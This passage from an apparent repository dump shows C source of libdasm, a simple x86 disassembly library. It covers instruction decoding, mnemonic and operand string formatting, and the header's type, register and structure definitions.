1;\n}\n\n#endif\n\n\n// Fetch instruction\n\n/*\n * The operation is quite straightforward:\n *\n * - determine actual opcode (skip prefixes etc.)\n * - figure out which instruction table to use\n * - index the table with opcode\n * - parse operands\n * - fill instruction structure\n *\n * Only point where this gets hairy is those *brilliant*\n * opcode extensions....\n *\n */\nint get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) {\n\tPINST ptr = NULL;\n\tint index = 0;\n\tint flags = 0;\n\n\tmemset(inst, 0, sizeof(INSTRUCTION));\n\n\t// Parse flags, skip prefixes etc.\n\tget_real_instruction(addr, &index, &flags);\n\n\t// Select instruction table \n\n\t// No extensions - normal 1-byte opcode:\n\tif (MASK_EXT(flags) == 0) {\n\t\tinst->opcode = *(addr + index);\n\t\tptr = &inst_table1[inst->opcode];\n\n\t// FPU opcodes\n\t} else if (MASK_EXT(flags) == EXT_CP) {\n\t\tif (*(addr + index) < 0xc0) {\n\t\t\t// MODRM byte adds the additional byte\n\t\t\tindex--;\n\t\t\tinst->fpuindex = *(addr + index) - 0xd8;\n\t\t\tinst->opcode   = *(addr + index + 1);\n\t\t\tptr = &inst_table4[inst->fpuindex]\n\t\t\t\t[MASK_MODRM_REG(inst->opcode)];\n\t\t} else {\n\t\t\tinst->fpuindex = *(addr + index - 1) - 0xd8;\n\t\t\tinst->opcode   = *(addr + index);\n\t\t\tptr = &inst_table4[inst->fpuindex]\n\t\t\t\t[inst->opcode - 0xb8];\n\t\t}\n\t// 2 or 3-byte opcodes\n\t} else if (MASK_EXT(flags) == EXT_T2) {\n\t\tinst->opcode = *(addr + index);\n\n\t\t// Parse flags, skip prefixes etc. (again)\n\t\tget_real_instruction2(addr + index, &flags);\n\n\t\t// 2-byte opcode table\n\t\tptr = &inst_table2[inst->opcode];\n\n\t\t// 3-byte opcode tables\n\t\tif (MASK_TYPE_FLAGS(ptr->type) == TYPE_3) {\n\t\t\t// prefix 0x66\n\t\t\tif (MASK_PREFIX_OPERAND(flags) == 1) {\n\t\t\t\tptr = &inst_table3_66[inst->opcode];\n\n\t\t\t// prefix 0xf2\n\t\t\t} else if (MASK_PREFIX_G1(flags) == 2) {\n\t\t\t\tptr = &inst_table3_f2[inst->opcode];\n\n\t\t\t// prefix 0xf3\n\t\t\t} else if (MASK_PREFIX_G1(flags) == 3) {\n\t\t\t\tptr = &inst_table3_f3[inst->opcode];\n\n\t\t\t}\n\t\t}\n\t}\n\t// Opcode extension tables\n\tif (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) {\n\t\tinst->opcode   = *(addr + index);\n\t\tinst->extindex = MASK_MODRM_REG(*(addr + index + 1));\n\n\t\tswitch (MASK_EXT(flags)) {\n\t\t\tcase EXT_GC:\n\t\t\t\t// prefix 0x66\n\t\t\t\tif (MASK_PREFIX_OPERAND(flags) == 1)\n\t\t\t\t\tptr = &inst_table_ext12_66[inst->extindex];\n\t\t\t\telse\n\t\t\t\t\tptr = &inst_table_ext12[inst->extindex];\n\t\t\t\tbreak;\n\t\t\tcase EXT_GD:\t\n\t\t\t\t// prefix 0x66\n\t\t\t\tif (MASK_PREFIX_OPERAND(flags) == 1)\n\t\t\t\t\tptr = &inst_table_ext13_66[inst->extindex];\n\t\t\t\telse\n\t\t\t\t\tptr = &inst_table_ext13[inst->extindex];\n\t\t\t\tbreak;\n\t\t\tcase EXT_GE:\t\n\t\t\t\t// prefix 0x66\n\t\t\t\tif (MASK_PREFIX_OPERAND(flags) == 1)\n\t\t\t\t\tptr = &inst_table_ext14_66[inst->extindex];\n\t\t\t\telse\n\t\t\t\t\tptr = &inst_table_ext14[inst->extindex];\n\t\t\t\tbreak;\n\t\t\t// monitor/mwait\n\t\t\t// XXX: hack.....\n\t\t\tcase EXT_G7:\t\n\t\t\t\tif (MASK_MODRM_MOD(*(addr + index + 1)) == 3) {\n\t\t\t\t\tif (inst->extindex != 1)\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\tif (MASK_MODRM_RM(*(addr + index + 1)) == 0) {\n\t\t\t\t\t\tptr = &inst_monitor;\n\t\t\t\t\t\t// index is incremented to get\n\t\t\t\t\t\t// correct instruction len\n\t\t\t\t\t\tindex++;\n\t\t\t\t\t} else if (MASK_MODRM_RM(*(addr + index + 1)) == 1) {\n\t\t\t\t\t\tptr = &inst_mwait;\n\t\t\t\t\t\tindex++;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\treturn 0;\n\n\t\t\t\t} else {\n\t\t\t\t\tptr = &inst_table_ext7[inst->extindex];\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tptr = &inst_table_ext[(MASK_EXT(flags)) - 1]\n\t\t\t\t\t[inst->extindex];\n\t\t\t\tbreak;\n\t\t}\n\t}\n\t// Index points now to first byte after prefixes/escapes\n\tindex++;\n\n\t// Illegal instruction\n\tif (!ptr)\n\t\treturn 0;\n        if (!ptr->mnemonic)\n\t\treturn 0;\n\n\t// Copy instruction type\n\tinst->type = MASK_TYPE_VALUE(ptr->type);\n\n\t// Pointer to instruction table\n\tinst->ptr = ptr;\n\n\t// Parse operands\n\tif (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index,\n\t\t\tmode, flags))\n\t\treturn 0;\n\tif (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index,\n\t\t\tmode, flags))\n\t\treturn 0;\n\tif (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index,\n\t\t\tmode, flags))\n\t\treturn 0;\n\n\t// Add modrm/sib, displacement and immediate bytes in size\n\tinst->length += index + inst->immbytes + inst->dispbytes;\n\n\t// Copy addressing mode\n\tinst->mode = mode;\n\n\t// Copy instruction flags\n\tinst->flags = flags;\n\n\treturn inst->length;\n}\n\n\n// Print instruction mnemonic\n\n#if !defined NOSTR\nint get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) {\n\tint mode;\n\n\tmemset(string, 0, length);\n\n\t// Segment override, branch hint\n\tif (MASK_PREFIX_G2(inst->flags) &&\n\t\t(inst->op1.type != OPERAND_TYPE_MEMORY) &&\n\t\t(inst->op2.type != OPERAND_TYPE_MEMORY))  {\n\t\t// Branch hint\n\t\tif (inst->type == INSTRUCTION_TYPE_JMPC)\n\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\"%s \", reg_table[REG_BRANCH][(MASK_PREFIX_G2(inst->flags)) - 1]);\n\t\t// Segment override for others\n\t\telse\n\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\"%s \", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);\n\t}\n\n\t// Rep, lock etc.\n\tif (MASK_PREFIX_G1(inst->flags) &&\n\t\t\t(MASK_EXT(inst->flags) != EXT_T2))\n\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\"%s\", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]);\n\n\t// Mnemonic\n\t// XXX: quick hack for jcxz/jecxz.. check if there are more\n\t// of these opcodes that have different mnemonic in same opcode\n\tif (((inst->type == INSTRUCTION_TYPE_JMPC) &&\n\t\t\t(inst->opcode == 0xe3)) &&\n\t\t\t(MASK_PREFIX_ADDR(inst->flags) == 1))\n\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\"jcxz\");\n\telse\n\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\"%s\", inst->ptr->mnemonic);\n\n\n\t// memory operation size in push/pop:\n\tif (inst->type == INSTRUCTION_TYPE_PUSH) {\n\t\tif (inst->op1.type == OPERAND_TYPE_IMMEDIATE) {\n\t\t\tswitch (inst->op1.immbytes) {\n\t\t\t\tcase 1:\n\t\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\"b\" : \" byte\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\"w\" : \" word\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\"l\" : \" dword\");\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t} else if (inst->op1.type == OPERAND_TYPE_MEMORY) {\n\t\t\tmode = MODE_CHECK_OPERAND(inst->mode, inst->flags);\n\n\t\t\tif (mode == MODE_16) {\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"w\" : \" word\");\n\t\t\t} else if (mode == MODE_32) {\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"l\" : \" dword\");\n\t\t\t}\n\n\t\t}\n\t\treturn 1;\n\n\t}\n\tif (inst->type == INSTRUCTION_TYPE_POP) {\n\t\tif (inst->op1.type == OPERAND_TYPE_MEMORY) {\n\t\t\tmode = MODE_CHECK_OPERAND(inst->mode, inst->flags);\n\n\t\t\tif (mode == MODE_16) {\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"w\" : \" word\");\n\t\t\t} else if (mode == MODE_32) {\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"l\" : \" dword\");\n\t\t\t}\n\t\t}\n\t\treturn 1;\n\t}\n\n\t// memory operation size in immediate to memory operations\n\tif (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) &&\n\t\t(MASK_AM(inst->op2.flags) == AM_I)) {\n\n\t\tswitch (MASK_OT(inst->op1.flags)) {\n\t\t\tcase OT_b:\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"b\" : \" byte\");\n\t\t\t\tbreak;\n\t\t\tcase OT_w:\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"w\" : \" word\");\n\t\t\t\tbreak;\n\t\t\tcase OT_d:\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\"l\" : \" dword\");\n\t\t\t\tbreak;\n\t\t\tcase OT_v:\n\t\t\t\tif (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||\n\t\t\t\t    ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\"l\" : \" dword\");\n\t\t\t\telse\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\"w\" : \" word\");\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\t// XXX: there might be some other cases where size is needed..\n\n\treturn 1;\n}\n\n// Print operands\n\nint get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset,\n\tchar *string, int length) {\n\n\tif (format == FORMAT_ATT) {\n\t\tif (inst->op3.type != OPERAND_TYPE_NONE) {\n\t\t\tget_operand_string(inst, &inst->op3, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t\t\tsnprintf(string + strlen(string), length - strlen(string), \",\");\n\t\t}\n\t\tif (inst->op2.type != OPERAND_TYPE_NONE) {\n\t\t\tget_operand_string(inst, &inst->op2, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t\t\tsnprintf(string + strlen(string), length - strlen(string), \",\");\n\t\t}\n\t\tif (inst->op1.type != OPERAND_TYPE_NONE)\n\t\t\tget_operand_string(inst, &inst->op1, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t} else if (format == FORMAT_INTEL) {\n\t\tif (inst->op1.type != OPERAND_TYPE_NONE)\n\t\t\tget_operand_string(inst, &inst->op1, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t\tif (inst->op2.type != OPERAND_TYPE_NONE) {\n\t\t\tsnprintf(string + strlen(string), length - strlen(string), \",\");\n\t\t\tget_operand_string(inst, &inst->op2, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t\t}\n\t\tif (inst->op3.type != OPERAND_TYPE_NONE) {\n\t\t\tsnprintf(string + strlen(string), length - strlen(string), \",\");\n\t\t\tget_operand_string(inst, &inst->op3, format, offset,\n\t\t\t\tstring + strlen(string), length - strlen(string));\n\t\t}\n\t}\n\telse\n\t\treturn 0;\n\n\treturn 1;\n}\n\n// Print instruction mnemonic, prefixes and operands\n\nint get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset,\n\t\tchar *string, int length) {\n\n\t// Print the actual instruction string with possible prefixes etc.\n\tget_mnemonic_string(inst, format, string, length);\n\n\tsnprintf(string + strlen(string), length - strlen(string), \" \");\n\t\n\t// Print operands\n\tif (!get_operands_string(inst, format, offset,\n\t\tstring + strlen(string), length - strlen(string)))\n\t\treturn 0;\n\n\treturn 1;\n}\n\n#endif\n\n// Helper functions\n\nint get_register_type(POPERAND op) {\n\t\n\tif (op->type != OPERAND_TYPE_REGISTER)\n\t\treturn 0;\n\tswitch (MASK_AM(op->flags)) {\n\t\tcase AM_REG:\n\t\t\tif (MASK_FLAGS(op->flags) == F_r)\n\t\t\t\treturn REGISTER_TYPE_SEGMENT;\n\t\t\telse if (MASK_FLAGS(op->flags) == F_f)\n\t\t\t\treturn REGISTER_TYPE_FPU;\n\t\t\telse\n\t\t\t\treturn REGISTER_TYPE_GEN;\n\t\tcase AM_E:\n\t\tcase AM_G:\n\t\tcase AM_R:\n\t\t\t\treturn REGISTER_TYPE_GEN;\n\t\tcase AM_C:\n\t\t\t\treturn REGISTER_TYPE_CONTROL;\n\t\tcase AM_D:\n\t\t\t\treturn REGISTER_TYPE_DEBUG;\n\t\tcase AM_S:\n\t\t\t\treturn REGISTER_TYPE_SEGMENT;\n\t\tcase AM_T:\n\t\t\t\treturn REGISTER_TYPE_TEST;\n\t\tcase AM_P:\n\t\tcase AM_Q:\n\t\t\t\treturn REGISTER_TYPE_MMX;\n\t\tcase AM_V:\n\t\tcase AM_W:\n\t\t\t\treturn REGISTER_TYPE_XMM;\n\t\tdefault:\n\t\t\t\tbreak;\n\t}\n\treturn 0;\n}\n\nint get_operand_type(POPERAND op) {\n\treturn op->type;\n}\n\nint get_operand_register(POPERAND op) {\n\treturn op->reg;\n}\n\nint get_operand_basereg(POPERAND op) {\n\treturn op->basereg;\n}\n\nint get_operand_indexreg(POPERAND op) {\n\treturn op->indexreg;\n}\n\nint get_operand_scale(POPERAND op) {\n\treturn op->scale;\n}\n\nint get_operand_immediate(POPERAND op, DWORD *imm) {\n\tif (op->immbytes) {\n\t\t*imm = op->immediate;\n\t\treturn 1;\n\t}\n\telse\n\t\treturn 0;\n}\n\nint get_operand_displacement(POPERAND op, DWORD *disp) {\n\tif (op->dispbytes) {\n\t\t*disp = op->displacement;\n\t\treturn 1;\n\t}\n\telse\n\t\treturn 0;\n}\n\n// XXX: note that source and destination are not always literal\n\nPOPERAND get_source_operand(PINSTRUCTION inst) {\n\tif (inst->op2.type != OPERAND_TYPE_NONE)\n\t\treturn &inst->op2;\n\telse\n\t\treturn NULL;\n}\nPOPERAND get_destination_operand(PINSTRUCTION inst) {\n\tif (inst->op1.type != OPERAND_TYPE_NONE)\n\t\treturn &inst->op1;\n\telse\n\t\treturn NULL;\n}\n\n\n"
  },
  {
    "path": "src/libdasm.h",
    "content": "\n/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2005  jt / nologin.org\n *\n * libdasm.h:\n * Definitions for structures, functions and other weird stuff\n *\n */\n\n\n#ifndef _LIBDASM_H\n#define _LIBDASM_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define __LIBDASM_VERSION__     0x01040000\n\n#define GET_VERSION_MAJOR  \\\n\t(__LIBDASM_VERSION__ & 0xff000000) >> 24\n#define GET_VERSION_MINOR1 \\\n\t(__LIBDASM_VERSION__ & 0x00ff0000) >> 16\n#define GET_VERSION_MINOR2 \\\n\t(__LIBDASM_VERSION__ & 0x0000ff00) >> 8\n#define GET_VERSION_MINOR3 \\\n\t(__LIBDASM_VERSION__ & 0x000000ff)\n\n// Data types\n\n#if _WIN32\n#include <windows.h>\n#define __inline__ __inline\n#define snprintf _snprintf\ntypedef unsigned __int64 QWORD;\t\t// for MSVC\ntypedef signed   __int8  SBYTE;\ntypedef signed   __int16 SWORD;\ntypedef signed   __int32 SDWORD;\ntypedef signed   __int64 SQWORD;\n#else\n#if defined __sun\n#define BYTE_ORDER 1234\n#define BIG_ENDIAN 1234\n#define LITTLE_ENDIAN 4321\n#define u_int8_t uint8_t\n#define u_int16_t uint16_t\n#define u_int32_t uint32_t\n#define u_int64_t uint64_t\n\n#endif // other *nix\n#include <sys/types.h>\ntypedef u_int8_t  BYTE;\ntypedef u_int16_t WORD;\ntypedef u_int32_t DWORD;\ntypedef u_int64_t QWORD;\ntypedef int8_t    SBYTE;\ntypedef int16_t   SWORD;\ntypedef int32_t   SDWORD;\ntypedef int64_t   SQWORD;\n#endif\n\n// Define endianess\n\n#ifndef __X86__\n// These should catch x86 with most compilers\n#if defined _X86_ || defined _i386_ || defined __i386__\n#define __X86__\n#endif\n#endif\n\n#ifndef __LITTLE_ENDIAN__\n// These should catch little-endian with most compilers\n#if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_\n#define __LITTLE_ENDIAN__\n#endif\n#endif\n\n\n// Registers\n#define REGISTER_EAX 0\n#define REGISTER_ECX 1\n#define REGISTER_EDX 2\n#define REGISTER_EBX 3\n#define REGISTER_ESP 4\n#define REGISTER_EBP 5\n#define REGISTER_ESI 6\n#define REGISTER_EDI 7\n#define REGISTER_NOP 8\t// no register defined\n\n// Registers\n#define REG_EAX REGISTER_EAX\n#define REG_AX REG_EAX\n#define REG_AL REG_EAX\n#define REG_ES REG_EAX          // Just for reg_table consistence\n#define REG_ST0 REG_EAX         // Just for reg_table consistence\n#define REG_ECX REGISTER_ECX\n#define REG_CX REG_ECX\n#define REG_CL REG_ECX\n#define REG_CS REG_ECX\n#define REG_ST1 REG_ECX\n#define REG_EDX REGISTER_EDX\n#define REG_DX REG_EDX\n#define REG_DL REG_EDX\n#define REG_SS REG_EDX\n#define REG_ST2 REG_EDX\n#define REG_EBX REGISTER_EBX\n#define REG_BX REG_EBX\n#define REG_BL REG_EBX\n#define REG_DS REG_EBX\n#define REG_ST3 REG_EBX\n#define REG_ESP REGISTER_ESP\n#define REG_SP REG_ESP\n#define REG_AH REG_ESP          // Just for reg_table consistence\n#define REG_FS REG_ESP\n#define REG_ST4 REG_ESP\n#define REG_EBP REGISTER_EBP\n#define REG_BP REG_EBP\n#define REG_CH REG_EBP\n#define REG_GS REG_EBP\n#define REG_ST5 REG_EBP\n#define REG_ESI REGISTER_ESI\n#define REG_SI REG_ESI\n#define REG_DH REG_ESI\n#define REG_ST6 REG_ESI\n#define REG_EDI REGISTER_EDI\n#define REG_DI REG_EDI\n#define REG_BH REG_EDI\n#define REG_ST7 REG_EDI\n#define REG_NOP REGISTER_NOP\n\n// Register types\n#define REGISTER_TYPE_GEN\t1\n#define REGISTER_TYPE_SEGMENT   2\n#define REGISTER_TYPE_DEBUG     3\n#define REGISTER_TYPE_CONTROL\t4\n#define REGISTER_TYPE_TEST      5\n#define REGISTER_TYPE_XMM       6\n#define REGISTER_TYPE_MMX       7\n#define REGISTER_TYPE_FPU       8\n\n// Disassembling mode\nenum Mode {\n\tMODE_32,\t// 32-bit\n\tMODE_16\t\t// 16-bit\n};\n\n// Disassembling format\nenum Format {\n\tFORMAT_ATT,\n\tFORMAT_INTEL,\n};\n\n// Instruction types (just the most common ones atm)\nenum Instruction {\n\t// Integer instructions\n\tINSTRUCTION_TYPE_ASC,\t// aaa, aam, etc.\n\tINSTRUCTION_TYPE_DCL,\t// daa, das\n\tINSTRUCTION_TYPE_MOV,\n\tINSTRUCTION_TYPE_MOVSR,\t// segment register\n\tINSTRUCTION_TYPE_ADD,\n\tINSTRUCTION_TYPE_XADD,\n\tINSTRUCTION_TYPE_ADC,\n\tINSTRUCTION_TYPE_SUB,\n\tINSTRUCTION_TYPE_SBB,\n\tINSTRUCTION_TYPE_INC,\n\tINSTRUCTION_TYPE_DEC,\n\tINSTRUCTION_TYPE_DIV,\n\tINSTRUCTION_TYPE_IDIV,\n\tINSTRUCTION_TYPE_NOT,\n\tINSTRUCTION_TYPE_NEG,\n\tINSTRUCTION_TYPE_STOS,\n\tINSTRUCTION_TYPE_LODS,\n\tINSTRUCTION_TYPE_SCAS,\n\tINSTRUCTION_TYPE_MOVS,\n\tINSTRUCTION_TYPE_MOVSX,\n\tINSTRUCTION_TYPE_MOVZX,\n\tINSTRUCTION_TYPE_CMPS,\n\tINSTRUCTION_TYPE_SHX,\t// signed/unsigned shift left/right\n\tINSTRUCTION_TYPE_ROX,\t// signed/unsigned rot left/right\n\tINSTRUCTION_TYPE_MUL,\n\tINSTRUCTION_TYPE_IMUL,\n\tINSTRUCTION_TYPE_EIMUL, // \"extended\" imul with 2-3 operands\n\tINSTRUCTION_TYPE_XOR,\n\tINSTRUCTION_TYPE_LEA,\n\tINSTRUCTION_TYPE_XCHG,\n\tINSTRUCTION_TYPE_CMP,\n\tINSTRUCTION_TYPE_TEST,\n\tINSTRUCTION_TYPE_PUSH,\n\tINSTRUCTION_TYPE_AND,\n\tINSTRUCTION_TYPE_OR,\n\tINSTRUCTION_TYPE_POP,\n\tINSTRUCTION_TYPE_JMP,\n\tINSTRUCTION_TYPE_JMPC,\t// conditional jump\n\tINSTRUCTION_TYPE_SETC,\t// conditional byte set\n\tINSTRUCTION_TYPE_MOVC,\t// conditional mov\n\tINSTRUCTION_TYPE_LOOP,\n\tINSTRUCTION_TYPE_CALL,\n\tINSTRUCTION_TYPE_RET,\n\tINSTRUCTION_TYPE_INT,\t// interrupt\n\tINSTRUCTION_TYPE_BT,\t// bit tests\n\tINSTRUCTION_TYPE_BTS,\n\tINSTRUCTION_TYPE_BTR,\n\tINSTRUCTION_TYPE_BTC,\n\tINSTRUCTION_TYPE_BSF,\n\tINSTRUCTION_TYPE_BSR,\n\tINSTRUCTION_TYPE_BSWAP,\n\tINSTRUCTION_TYPE_SGDT,\n\tINSTRUCTION_TYPE_SIDT,\n\tINSTRUCTION_TYPE_SLDT,\n\tINSTRUCTION_TYPE_LFP,\n\t// FPU instructions\n\tINSTRUCTION_TYPE_FCMOVC, // float conditional mov\n\tINSTRUCTION_TYPE_FADD,\n\tINSTRUCTION_TYPE_FADDP,\n\tINSTRUCTION_TYPE_FIADD,\n\tINSTRUCTION_TYPE_FSUB,\n\tINSTRUCTION_TYPE_FSUBP,\n\tINSTRUCTION_TYPE_FISUB,\n\tINSTRUCTION_TYPE_FSUBR,\n\tINSTRUCTION_TYPE_FSUBRP,\n\tINSTRUCTION_TYPE_FISUBR,\n\tINSTRUCTION_TYPE_FMUL,\n\tINSTRUCTION_TYPE_FMULP,\n\tINSTRUCTION_TYPE_FIMUL,\n\tINSTRUCTION_TYPE_FDIV,\n\tINSTRUCTION_TYPE_FDIVP,\n\tINSTRUCTION_TYPE_FDIVR,\n\tINSTRUCTION_TYPE_FDIVRP,\n\tINSTRUCTION_TYPE_FIDIV,\n\tINSTRUCTION_TYPE_FIDIVR,\n\tINSTRUCTION_TYPE_FCOM,\n\tINSTRUCTION_TYPE_FCOMP,\n\tINSTRUCTION_TYPE_FCOMPP,\n\tINSTRUCTION_TYPE_FCOMI,\n\tINSTRUCTION_TYPE_FCOMIP,\n\tINSTRUCTION_TYPE_FUCOM,\n\tINSTRUCTION_TYPE_FUCOMP,\n\tINSTRUCTION_TYPE_FUCOMPP,\n\tINSTRUCTION_TYPE_FUCOMI,\n\tINSTRUCTION_TYPE_FUCOMIP,\n\tINSTRUCTION_TYPE_FST,\n\tINSTRUCTION_TYPE_FSTP,\n\tINSTRUCTION_TYPE_FIST,\n\tINSTRUCTION_TYPE_FISTP,\n\tINSTRUCTION_TYPE_FISTTP,\n\tINSTRUCTION_TYPE_FLD,\n\tINSTRUCTION_TYPE_FILD,\n\tINSTRUCTION_TYPE_FICOM,\n\tINSTRUCTION_TYPE_FICOMP,\n\tINSTRUCTION_TYPE_FFREE,\n\tINSTRUCTION_TYPE_FFREEP,\n\tINSTRUCTION_TYPE_FXCH,\n\tINSTRUCTION_TYPE_FPU,\t// Other FPU instructions\n\n\tINSTRUCTION_TYPE_MMX,\t// Other MMX instructions\n\n\tINSTRUCTION_TYPE_SSE,\t// Other SSE instructions\n\n\tINSTRUCTION_TYPE_OTHER,\t// Other instructions :-)\n\tINSTRUCTION_TYPE_PRIV\t// Privileged instruction\n};\n\n// Operand types\nenum Operand {\n\tOPERAND_TYPE_NONE,\t// operand not present\n\tOPERAND_TYPE_MEMORY,\t// memory operand ([eax], [0], etc.)\n\tOPERAND_TYPE_REGISTER,\t// register operand (eax, mm0, etc.)\n\tOPERAND_TYPE_IMMEDIATE,\t// immediate operand (0x1234)\n};\n\n// Structure definitions\n\n// struct INST is used internally by the library\ntypedef struct _INST {\n\tDWORD type;\t\t// Instruction type and flags\n\tconst char *mnemonic;\t// Instruction mnemonic\n\tint flags1;\t\t// First operand flags (if any)\n\tint flags2;\t\t// Second operand flags (if any)\n\tint flags3;\t\t// Additional operand flags (if any)\n\tint modrm;\t\t// Is MODRM byte present?\n} INST, *PINST;\n\n// Operands for the instruction\ntypedef struct _OPERAND {\n\tenum Operand type;\t// Operand type (register, memory, etc)\n\tint reg;\t\t// Register (if any)\n\tint basereg;\t\t// Base register (if any)\n\tint indexreg;\t\t// Index register (if any)\n\tint scale;\t\t// Scale (if any)\n\tint dispbytes;\t\t// Displacement bytes (0 = no displacement)\n\tint dispoffset;\t\t// Displacement value offset\n\tint immbytes;\t\t// Immediate bytes (0 = no immediate)\n\tint immoffset;\t\t// Immediate value offset\n\tint sectionbytes;\t// Section prefix bytes (0 = no section prefix)\n\tWORD section;\t\t// Section prefix value\n\tDWORD displacement;\t// Displacement value\n\tDWORD immediate;\t// Immediate value\n\tint flags;\t\t// Operand flags\n} OPERAND, *POPERAND;\n\n// struct INSTRUCTION is used to interface the library\ntypedef struct _INSTRUCTION {\n\tint length;\t\t// Instruction length\n\tenum Instruction type;\t// Instruction type\n\tenum Mode mode;\t\t// Addressing mode\n\tBYTE opcode;\t\t// Actual opcode\n\tBYTE modrm;\t\t// MODRM byte\n\tBYTE sib;\t\t// SIB byte\n\tint extindex;\t\t// Extension table index\n\tint fpuindex;\t\t// FPU table index\n\tint dispbytes;\t\t// Displacement bytes (0 = no displacement)\n\tint immbytes;\t\t// Immediate bytes (0 = no immediate)\n\tint sectionbytes;\t// Section prefix bytes (0 = no section prefix)\n\tOPERAND op1;\t\t// First operand (if any)\n\tOPERAND op2;\t\t// Second operand (if any)\n\tOPERAND op3;\t\t// Additional operand (if any)\n\tPINST ptr;\t\t// Pointer to instruction table\n\tint flags;\t\t// Instruction flags\n} INSTRUCTION, *PINSTRUCTION;\n\n\n// Function definitions\n\nint get_instruction(\n\tINSTRUCTION *inst,\t// pointer to INSTRUCTION structure\n\tBYTE *addr,\t\t// code buffer\n\tenum Mode mode\t\t// mode: MODE_32 or MODE_16\n);\n\n// Get complete instruction string\nint get_instruction_string(\n\tINSTRUCTION *inst,\t// pointer to INSTRUCTION structure\n        enum Format format,\t// instruction format: FORMAT_ATT or FORMAT_INTEL\n\tDWORD offset,\t\t// instruction absolute address\n\tchar *string,\t\t// string buffer\n\tint length\t\t// string length\n);\n\n// Get mnemonic string\nint get_mnemonic_string(\n\tINSTRUCTION *inst,\t// pointer to INSTRUCTION structure\n        enum Format format,\t// instruction format: FORMAT_ATT or FORMAT_INTEL\n\tchar *string,\t\t// string buffer\n\tint length\t\t// string length\n);\n\n// Get individual operand string\nint get_operand_string(\n\tINSTRUCTION *inst,\t// pointer to INSTRUCTION structure\n\tPOPERAND op,\t\t// pointer to OPERAND structure\n        enum Format format,\t// instruction format: FORMAT_ATT or FORMAT_INTEL\n\tDWORD offset,\t\t// instruction absolute address\n\tchar *string,\t\t// string buffer\n\tint length\t\t// string length\n);\n\n// Helper functions\n\nint get_register_type(\n\tPOPERAND op\n);\nint get_operand_type(\n\tPOPERAND op\n);\nint get_operand_register(\n\tPOPERAND op\n);\nint get_operand_basereg(\n\tPOPERAND op\n);\nint get_operand_indexreg(\n\tPOPERAND op\n);\nint get_operand_scale(\n\tPOPERAND op\n);\nint get_operand_immediate(\n\tPOPERAND op,\n\tDWORD *imm\t\t// returned immediate value\n);\nint get_operand_displacement(\n\tPOPERAND op,\n\tDWORD *disp\t\t// returned displacement value\n);\nPOPERAND get_source_operand(\n\tPINSTRUCTION inst\n);\nPOPERAND get_destination_operand(\n\tPINSTRUCTION 